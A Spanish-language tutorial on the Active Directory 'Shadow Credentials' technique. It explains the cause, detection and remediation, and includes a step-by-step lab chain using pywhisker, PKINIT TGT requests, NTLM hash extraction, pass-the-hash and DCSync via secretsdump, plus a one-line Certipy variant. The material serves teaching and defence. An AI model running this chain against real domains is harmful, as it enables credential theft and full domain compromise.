Shadow Credentials en AD: qué es, cómo funciona y cómo se corrige
· 12 min de lectura
Shadow Credentials permite a un atacante con permiso de escritura sobre un objeto de AD añadir una clave al atributo msDS-KeyCredentialLink, obtener un TGT vía PKINIT y hacerse con el hash NTLM de la cuenta sin conocer la contraseña original.
Es la undécima lección de la Tanda 11 de /aprende. En esta entrega exploramos una de las técnicas de escalada y movimiento lateral más elegantes y silenciosas del ecosistema de Active Directory moderno: Shadow Credentials. A diferencia de ataques ruidosos como fuerza bruta o Kerberoasting, Shadow Credentials opera modificando un atributo legítimo del directorio que muchos administradores ni siquiera saben que existe.
La técnica fue documentada por Elad Shamir en 2021 y se apoya en la extensión PKINIT del protocolo Kerberos y en el atributo msDS-KeyCredentialLink, introducido originalmente para Windows Hello for Business. Lo que convierte esta técnica en un riesgo real es que no requiere ADCS (Active Directory Certificate Services) desplegado: basta con que el DC soporte PKINIT, algo habilitado por defecto en Windows Server 2016 y posteriores.
Todo lo que aprendas aquí aplícalo exclusivamente en entornos autorizados: laboratorios de whoami-labs, máquinas de HTB o tu propio homelab. Modificar atributos de Active Directory sin permiso es un delito.
Qué es Shadow Credentials#
Shadow Credentials es una técnica de abuso de Active Directory que permite a un atacante con permisos de escritura sobre el atributo msDS-KeyCredentialLink de un objeto (usuario o equipo) añadir una clave pública propia. Una vez registrada esa clave, el atacante puede autenticarse como dicha cuenta usando PKINIT, la extensión de Kerberos para autenticación con certificados, sin necesidad de conocer la contraseña.
El atributo msDS-KeyCredentialLink fue diseñado para almacenar las claves públicas que Windows Hello for Business utiliza en la autenticación passwordless. Cada entrada en este atributo es una estructura binaria llamada Key Credential que contiene la clave pública, un identificador de dispositivo, la fecha de creación y metadatos de confianza. Cuando un cliente presenta un certificado cuya clave privada corresponde a una de las claves registradas en este atributo, el DC emite un TGT válido.
La magia de la técnica reside en que el TGT obtenido vía PKINIT incluye un PAC-PAC_CREDENTIAL_INFO que transporta el hash NTLM de la cuenta. Esto significa que con un solo paso (escribir una clave en el atributo) el atacante puede obtener tanto un TGT como el hash NTLM, habilitando Pass-the-Hash, DCSync o cualquier acción posterior sin tocar la contraseña original.
Por qué ocurre: la causa raíz#
La raíz del problema es la combinación de tres factores que convergen en la mayoría de entornos de Active Directory.
El primer factor es la delegación excesiva de permisos de escritura. En muchos dominios, cuentas de servicio, operadores de help desk o incluso cuentas de máquina tienen permisos GenericWrite, GenericAll o WriteDacl sobre objetos de usuario o equipo. Estos permisos permiten modificar atributos arbitrarios, incluyendo msDS-KeyCredentialLink.
El segundo factor es que PKINIT está habilitado por defecto. Windows Server 2016 y posteriores soportan autenticación por certificado sin necesidad de desplegar ADCS. El DC acepta solicitudes PKINIT siempre que la clave presentada coincida con una registrada en el atributo msDS-KeyCredentialLink.
El tercer factor es la falta de monitorización. La mayoría de organizaciones no auditan cambios en el atributo msDS-KeyCredentialLink porque lo desconocen o lo consideran irrelevante al no usar Windows Hello for Business. Esto permite que un atacante registre claves sin disparar alertas.
Condiciones para Shadow Credentials:
1. Permiso de escritura sobre msDS-KeyCredentialLink del objetivo
2. DC con soporte PKINIT (Windows Server 2016+)
3. Sin monitorización de cambios en el atributoTipos y variantes#
La técnica tiene varias variantes según el contexto del ataque y las herramientas utilizadas.
| Variante | Descripción | Herramienta principal |
|---|---|---|
| Shadow Credentials manual | Generar par de claves, codificar la Key Credential y escribirla con ldap_shell o PowerShell | pywhisker, ldap_shell |
| Whisker automático | Herramienta de C# que automatiza todo: generación de claves, escritura del atributo y solicitud del TGT | Whisker (C#) |
| Certipy shadow auto | Un solo comando que genera la clave, la escribe, solicita el TGT y extrae el hash NTLM | Certipy |
| Combinado con RBCD | Cuando el objetivo es una cuenta de equipo, combinar Shadow Credentials con Resource-Based Constrained Delegation para impersonar a cualquier usuario | pywhisker + impacket |
| Relay a Shadow Credentials | Capturar autenticación NTLM y relayearla para escribir en msDS-KeyCredentialLink | ntlmrelayx con --shadow-credentials |
Dónde aparece#
Shadow Credentials es explotable en cualquier dominio de Active Directory que cumpla los requisitos técnicos. Los escenarios más habituales incluyen los siguientes.
En entornos con ADCS no es obligatorio que ADCS esté desplegado. Si el DC ejecuta Windows Server 2016 o posterior, PKINIT ya funciona. ADCS añade la posibilidad de escalar con certificados adicionales, pero Shadow Credentials no lo necesita.
En redes corporativas con delegación acumulada. Organizaciones que han crecido sin revisar los permisos de sus OUs acumulan GenericAll y GenericWrite en cuentas que ya no deberían tenerlos. Un analista de BloodHound que dibuje los caminos de ataque encontrará múltiples rutas que terminan en escritura sobre msDS-KeyCredentialLink.
En escenarios de relay NTLM. Si el atacante captura una autenticación NTLM (por ejemplo, con Responder o PetitPotam) y la retransmite contra LDAP del DC, puede escribir directamente en el atributo si el signing de LDAP no es obligatorio.
En cuentas de equipo. Las cuentas de máquina ($) son objetivos especialmente interesantes porque un atacante que comprometa una puede pivotar con RBCD para impersonar a un administrador del dominio.
Cómo se detecta#
La detección se basa en monitorizar los cambios sobre el atributo msDS-KeyCredentialLink y en correlacionar eventos de autenticación PKINIT con registros de escritura en el directorio.
| Fuente | Evento | Qué buscar |
|---|---|---|
| Security Event Log | Event ID 5136 | Modificación del atributo msDS-KeyCredentialLink. Requiere auditoría avanzada habilitada en la SACL del dominio |
| Security Event Log | Event ID 4768 | TGT emitido con tipo de preautenticación 16 o 17 (PKINIT). Correlacionar con el objeto que recibió la clave |
| Security Event Log | Event ID 4769 | Solicitud de TGS posterior al TGT por PKINIT |
| BloodHound | Edge GenericWrite, GenericAll, WriteDacl | Identifica qué cuentas pueden escribir sobre msDS-KeyCredentialLink antes de que ocurra |
| Microsoft Defender for Identity | Alerta Shadow Credential | MDI (antes Azure ATP) detecta escrituras sospechosas en el atributo si está desplegado |
Para habilitar la auditoría de cambios en msDS-KeyCredentialLink hay que configurar una SACL en la raíz del dominio.
# Verificar si la auditoría de Directory Service Changes está activa
auditpol /get /subcategory:"Directory Service Changes"En PowerShell se puede consultar el atributo de un objeto para verificar si tiene claves registradas inesperadas.
Get-ADUser -Identity targetuser -Properties msDS-KeyCredentialLink |
Select-Object -ExpandProperty msDS-KeyCredentialLinkSi el campo devuelve valores y la organización no usa Windows Hello for Business, es una señal de alarma inmediata.
Explotación paso a paso en un laboratorio#
A continuación se muestra la cadena completa en un entorno controlado. El atacante ha comprometido una cuenta con permisos GenericWrite sobre el usuario objetivo.
Paso 1: verificar permisos con BloodHound#
Primero confirma que la cuenta comprometida tiene escritura sobre el objetivo.
# Recopilar datos de BloodHound
bloodhound-python -u svc_helpdesk -p 'P@ssw0rd!' -d corp.local -ns IP_DEL_LAB -c allEn la interfaz de BloodHound, buscar el camino entre la cuenta comprometida y el objetivo. Si aparece un edge GenericWrite o GenericAll hacia el usuario o equipo deseado, Shadow Credentials es viable.
Paso 2: añadir la Shadow Credential con pywhisker#
# pywhisker añade una clave al atributo msDS-KeyCredentialLink
python3 pywhisker.py -d corp.local -u svc_helpdesk -p 'P@ssw0rd!' \
--target admin_target --action add --dc-ip IP_DEL_LABLa herramienta genera un par de claves RSA, construye la estructura Key Credential, la escribe en el atributo y devuelve un archivo PFX con la clave privada junto con su contraseña.
Paso 3: solicitar TGT con PKINIT#
# Usar el PFX generado para obtener un TGT vía PKINIT
python3 gettgtpkinit.py corp.local/admin_target -cert-pfx output.pfx \
-pfx-pass randompassword -dc-ip IP_DEL_LAB admin_target.ccacheEl DC valida la clave pública contra msDS-KeyCredentialLink y emite el TGT.
Paso 4: extraer el hash NTLM#
# Con el TGT, usar U2U para recuperar el hash NTLM
export KRB5CCNAME=admin_target.ccache
python3 getnthash.py corp.local/admin_target -key <as-rep-key>El hash NTLM se extrae del PAC_CREDENTIAL_INFO contenido en el TGT.
Paso 5: usar el hash para acceso o DCSync#
# Pass-the-Hash con el hash obtenido
netexec smb IP_DEL_LAB -u admin_target -H <hash_ntlm> --shares
# Si la cuenta tiene privilegios de replicación: DCSync
impacket-secretsdump corp.local/admin_target@IP_DEL_LAB -hashes :<hash_ntlm>Alternativa con Certipy (un solo comando)#
# Certipy automatiza toda la cadena en un solo paso
certipy shadow auto -u [email protected] -p 'P@ssw0rd!' \
-account admin_target -dc-ip IP_DEL_LABCertipy añade la clave, solicita el TGT, extrae el hash NTLM y limpia el atributo al terminar.
Qué puede lograr un atacante#
El impacto de Shadow Credentials varía según la cuenta comprometida y los permisos que esta tenga en el dominio.
| Escenario | Impacto |
|---|---|
| Escritura sobre un usuario privilegiado (Domain Admin) | Control total del dominio: DCSync, Golden Ticket, persistencia indefinida |
| Escritura sobre una cuenta de equipo (DC$) | DCSync directo al comprometer la cuenta de máquina del controlador de dominio |
| Escritura sobre una cuenta de equipo + RBCD | Impersonar a cualquier usuario del dominio, incluyendo administradores |
| Escritura sobre un usuario con acceso a sistemas críticos | Movimiento lateral hacia bases de datos, servidores de archivos, ERP |
| Persistencia con Shadow Credentials | La clave permanece en msDS-KeyCredentialLink: el atacante puede volver a obtener TGT en cualquier momento sin tocar la contraseña |
Cómo se corrige#
La defensa contra Shadow Credentials se articula en tres ejes: reducir los permisos de escritura, monitorizar los cambios y endurecer la infraestructura.
Reducir permisos de escritura#
Auditar con BloodHound todos los caminos que terminan en GenericWrite, GenericAll o WriteDacl sobre objetos de usuario y equipo. Eliminar los permisos innecesarios, especialmente los heredados de OUs mal configuradas.
# Listar quién tiene GenericAll sobre el usuario admin_target
(Get-ACL "AD:CN=admin_target,OU=Admins,DC=corp,DC=local").Access |
Where-Object { $_.ActiveDirectoryRights -match "GenericAll" } |
Format-Table IdentityReference, ActiveDirectoryRightsHabilitar auditoría de Directory Service Changes#
# Activar auditoría avanzada vía GPO o línea de comandos
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enableCrear una SACL en la raíz del dominio que audite escrituras en el atributo msDS-KeyCredentialLink (OID 1.2.840.113556.1.4.5460).
Enforcing LDAP Signing y Channel Binding#
Para bloquear el relay NTLM contra LDAP, forzar firma LDAP y channel binding en el DC.
# Verificar la configuración actual de LDAP signing
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity"
# Valor 2 = RequiredImplementar tiering (modelo de niveles)#
Separar las cuentas administrativas en niveles (Tier 0: DC, Tier 1: servidores, Tier 2: workstations). Ninguna cuenta de Tier 1 o Tier 2 debe tener escritura sobre objetos de Tier 0. Esto limita drásticamente las rutas de ataque que terminan en Shadow Credentials sobre cuentas privilegiadas.
Monitorizar con SIEM#
Crear reglas de detección en el SIEM para el Event ID 5136 cuando el atributo modificado sea msDS-KeyCredentialLink y la cuenta de origen no sea una cuenta de servicio de Windows Hello for Business autorizada.
# Pseudoregla para Splunk / ELK
EventID=5136 AND AttributeName="msDS-KeyCredentialLink"
AND SourceAccount NOT IN (whfb_service_accounts)
→ Alerta críticaErrores comunes#
- Asumir que sin ADCS no hay riesgo de PKINIT. PKINIT funciona con msDS-KeyCredentialLink sin necesidad de CA interna.
- No auditar cuentas de equipo ($). Son objetivos válidos para Shadow Credentials y suelen tener menos supervisión que las cuentas de usuario.
- Depender solo de la contraseña para proteger cuentas privilegiadas. Shadow Credentials no toca la contraseña: un cambio de contraseña no invalida la clave inyectada.
- No limpiar el atributo tras un incidente. Si se detecta un compromiso, hay que vaciar msDS-KeyCredentialLink de todas las cuentas afectadas.
- Creer que MFA protege contra esta técnica. MFA aplica en la capa de aplicación, no en la autenticación Kerberos a nivel de dominio.
Preguntas frecuentes#
Necesito ADCS desplegado para explotar Shadow Credentials#
No. La técnica usa PKINIT, que está habilitado por defecto en Windows Server 2016 y posteriores. ADCS añade vectores adicionales (ESC1-ESC8), pero Shadow Credentials no lo requiere.
Cuál es la diferencia entre Shadow Credentials y RBCD#
Shadow Credentials añade una clave pública para autenticarse como la cuenta objetivo directamente. RBCD configura una delegación para que una cuenta de servicio pueda impersonar a un usuario contra un servicio. Ambas se complementan: un atacante puede usar Shadow Credentials para comprometer una cuenta de equipo y luego RBCD para impersonar a un Domain Admin contra ese equipo.
Cambiar la contraseña del usuario afectado elimina la Shadow Credential#
No. La clave registrada en msDS-KeyCredentialLink es independiente de la contraseña. Para eliminarla, hay que borrar manualmente las entradas del atributo.
Cómo verifico si hay Shadow Credentials activas en mi dominio#
Con PowerShell, consultar todos los objetos que tengan el atributo msDS-KeyCredentialLink poblado. Si la organización no usa Windows Hello for Business, ningún objeto debería tenerlo.
Get-ADObject -Filter {msDS-KeyCredentialLink -like "*"} -Properties msDS-KeyCredentialLink |
Select-Object DistinguishedNameWhisker o pywhisker: cuál usar#
Whisker es la herramienta original de C# para ejecutar desde un host Windows comprometido. pywhisker es la reimplementación en Python para atacar desde Linux. Certipy con el subcomando shadow auto integra ambas funcionalidades en un solo paso.
MDI (Microsoft Defender for Identity) detecta esta técnica#
Sí. MDI incluye una regla de detección específica para escrituras en msDS-KeyCredentialLink desde cuentas no autorizadas. Si la organización tiene MDI desplegado y configurado, el ataque genera una alerta.
Resumen#
- Shadow Credentials abusa del atributo msDS-KeyCredentialLink para registrar una clave pública propia y obtener un TGT vía PKINIT.
- No requiere ADCS: basta con que el DC soporte PKINIT (Windows Server 2016+).
- El requisito principal es un permiso de escritura (GenericWrite, GenericAll) sobre el objeto objetivo.
- La cadena completa permite obtener el hash NTLM sin tocar la contraseña, habilitando Pass-the-Hash, DCSync o persistencia.
- La defensa se basa en reducir permisos de escritura, auditar Event ID 5136, enforcar LDAP signing y limpiar el atributo en los objetos que no usen Windows Hello for Business.
- Herramientas como pywhisker, Whisker y Certipy automatizan la explotación completa.
Fuentes y lecturas recomendadas#
- Elad Shamir: Shadow Credentials - Abusing Key Trust Account Mapping
- MITRE ATT&CK T1556.006 - Modify Authentication Process: Multi-Factor Authentication
- pywhisker - GitHub
- Certipy - GitHub
- Whisker - GitHub (Elad Shamir)
- Microsoft Docs: msDS-KeyCredentialLink attribute
- The Hacker Recipes: Shadow Credentials